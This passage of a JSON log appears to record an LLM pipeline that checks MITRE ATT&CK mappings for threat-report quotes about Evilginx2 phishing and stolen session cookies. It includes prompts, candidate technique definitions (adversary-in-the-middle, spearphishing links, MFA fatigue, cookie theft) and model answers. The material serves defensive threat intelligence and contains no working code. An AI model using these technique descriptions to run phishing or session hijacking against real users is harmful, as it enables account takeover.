collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: Similarly, the other modules named keystrokes, clipboard, and screen sender, execute with individual threads and send stolen data to the attacker, then sleep for some period of time before repeating the same stealing process.\n\nCANDIDATE 5\nATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials.\n\nCANDIDATE 6\nATT&CK technique: T1040 Network Sniffing\nDescription: Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as Name Resolution Poisoning and SMB Relay, can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. Network sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Stealth activities. Adversaries may likely also utilize network sniffing during Adversary-in-the-Middle (AiTM) to passively gain additional knowledge about the environment. In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to. Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic. The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic. On network devices, adversaries may perform network captures using Network Device CLI commands such as `monitor capture`.\nTactics: credential access, discovery\nPlatforms: IaaS, Linux, Network Devices, Windows, macOS\n\nCANDIDATE 7\nATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 8\nATT&CK technique: T1621 Multi-Factor Authentication Request Generation\nDescription: Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users. Adversaries in possession of credentials to Valid Accounts may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR). In some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”\nTactics: credential access\nPlatforms: IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\n\nCANDIDATE 9\nATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\n \"selected_index\": 0,\n \"support\": \"supported\",\n \"evidence_quote\": \"session cookie are sent to server in real-time\",\n \"rationale\": \"The quote states session cookies are sent to a server, which aligns with the definition of stealing web session cookies.\"\n}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 3585, + "completion_tokens": 69, + "total_tokens": 3654 + } + }, + "evidence_sha256": "64d467736644ed30a84b9d3f6dc0cd03f3967fc5534ba376b8aa422c15f515ab" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 3289.1, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: Evilginx2\nAction: redirected\nObject: victim\nTool: Evilginx2\nTarget: different page\n\nSOURCE QUOTE\nthe victim is either redirected to a different page or allowed to continue through to the page\n\nCANDIDATE 0\nATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: It uses *window.location.replace()* to redirect the user to the phishing site, as shown in Figure 2.\n\nCANDIDATE 1\nATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 2\nATT&CK technique: T1185 Browser Session Hijacking\nDescription: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques. A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.\nTactics: collection\nPlatforms: Windows\nLabeled report example: | T1185 | Man in the Browser |\n\nCANDIDATE 3\nATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials.\n\nCANDIDATE 4\nATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS\nLabeled report example: Click the URL link.\n\nCANDIDATE 5\nATT&CK technique: T1090 Proxy\nDescription: Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\n\nCANDIDATE 6\nATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE\n\nCANDIDATE 7\nATT&CK technique: T1204.001 Malicious Link\nDescription: An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Link. Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via Exploitation for Client Execution. Links may also lead users to download files that require execution via Malicious File.\nTactics: execution\nPlatforms: Linux, Windows, macOS\n\nCANDIDATE 8\nATT&CK technique: T1090.002 External Proxy\nDescription: Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion. External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\n\nCANDIDATE 9\nATT&CK technique: T1140 Deobfuscate/Decode Files or Information\nDescription: Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The decoded content shown in Figure 5 uses the meta-refresh tag to redirect the user to the target credential phishing site.", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\"selected_index\":1,\"support\":\"supported\",\"evidence_quote\":\"the victim is either redirected to a different page or allowed to continue through to the page\",\"rationale\":\"The quote describes redirecting victims via Evilginx2, an AiTM phishing tool used in spearphishing campaigns to harvest credentials and session cookies.\"}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 3620, + "completion_tokens": 67, + "total_tokens": 3687 + } + }, + "evidence_sha256": "459b9b35dbf9459fbed0fc2397c7ad3ac8152f1b8cf09c54fe6e67da27931ddc" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 3794.8, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: threat actor\nAction: use\nObject: stolen session cookie\nTool: Evilginx2\nTarget: victim\n\nSOURCE QUOTE\nThe threat actor is then able to use the stolen session cookie to log in as the victim where they can take multiple actions like changing the password, copying data, or pretending to be the victim\n\nCANDIDATE 0\nATT&CK technique: T1539 Steal Web Session Cookie\nDescription: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\nTactics: credential access\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: | T1539 | Steal Web Session Cookie |\n\nCANDIDATE 1\nATT&CK technique: T1550.004 Web Session Cookie\nDescription: Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated. Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.\nTactics: lateral movement\nPlatforms: IaaS, Office Suite, SaaS\n\nCANDIDATE 2\nATT&CK technique: T1185 Browser Session Hijacking\nDescription: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques. A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.\nTactics: collection\nPlatforms: Windows\n\nCANDIDATE 3\nATT&CK technique: T1606.001 Web Cookies\nDescription: Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access. Adversaries may generate these cookies in order to gain access to web resources. This differs from Steal Web Session Cookie and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces. The generation of web cookies often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Once forged, adversaries may use these web cookies to access resources (Web Session Cookie), which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Linux, SaaS, Windows, macOS\n\nCANDIDATE 4\nATT&CK technique: T1134.001 Token Impersonation/Theft\nDescription: Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread. An adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system. When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.\nTactics: privilege escalation, stealth\nPlatforms: Windows\n\nCANDIDATE 5\nATT&CK technique: T1563 Remote Service Session Hijacking\nDescription: Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service. Adversaries may commandeer these sessions to carry out actions on remote systems. Remote Service Session Hijacking differs from use of Remote Services because it hijacks an existing session rather than creating a new session using Valid Accounts.\nTactics: lateral movement\nPlatforms: Linux, Windows, macOS\n\nCANDIDATE 6\nATT&CK technique: T1098 Account Manipulation\nDescription: Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.\nTactics: persistence, privilege escalation\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\n\nCANDIDATE 7\nATT&CK technique: T1606 Forge Web Credentials\nDescription: Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access. Adversaries may generate these credential materials in order to gain access to web resources. This differs from Steal Web Session Cookie, Steal Application Access Token, and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., Temporary Elevated Cloud Access), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain. Once forged, adversaries may use these web credentials to access resources (ex: Use Alternate Authentication Material), which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: * Collects login and passwords, cookies, autocomplete fields, credit cards\n\nCANDIDATE 8\nATT&CK technique: T1078 Valid Accounts\nDescription: Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account. The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: Infostealer is one of the most profitable tools for cybercriminals, as information gathered from systems infected with this malware could be sold in the cybercrime underground or used for credential stuffing attacks.\n\nCANDIDATE 9\nATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user 